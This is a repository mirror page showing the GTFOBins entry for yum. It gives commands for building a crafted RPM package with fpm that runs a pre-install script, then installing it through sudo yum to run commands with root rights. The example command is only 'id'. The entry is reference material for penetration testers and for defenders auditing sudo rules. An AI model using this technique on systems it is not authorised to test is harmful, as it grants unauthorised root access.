This website requires JavaScript.
Explore
Help
Sign In
public-mirrors
/
GTFOBins.github.io
Watch
1
Star
0
Fork
0
You've already forked GTFOBins.github.io
mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced
2025-11-05 11:14:51 +01:00
Code
Issues
Projects
Releases
Wiki
Activity
Files
27494be2744647df88c6d0c34922be4099051778
GTFOBins.github.io
/
_gtfobins
/
yum.md
Emilio
b330297943
Add yum thanks to
https://lsdsecurity.com/2019/01/linux-privilege-escalation-using-apt-get-apt-dpkg-to-abuse-sudo-nopasswd-misconfiguration/
as in
#51
2019-02-02 15:46:01 +00:00
412 B
Raw
Blame
History
functions
functions
sudo
description
code
It runs commands using a specially crafted RPM package. Generate it with [fpm](
https://github.com/jordansissel/fpm
) and upload it to the target. ``` TF=$(mktemp -d) echo 'id' > $TF/x.sh fpm -n x -s dir -t rpm -a all --before-install $TF/x.sh $TF ```
sudo yum localinstall -y x-1.0-1.noarch.rpm
Reference in New Issue
View Git Blame
Copy Permalink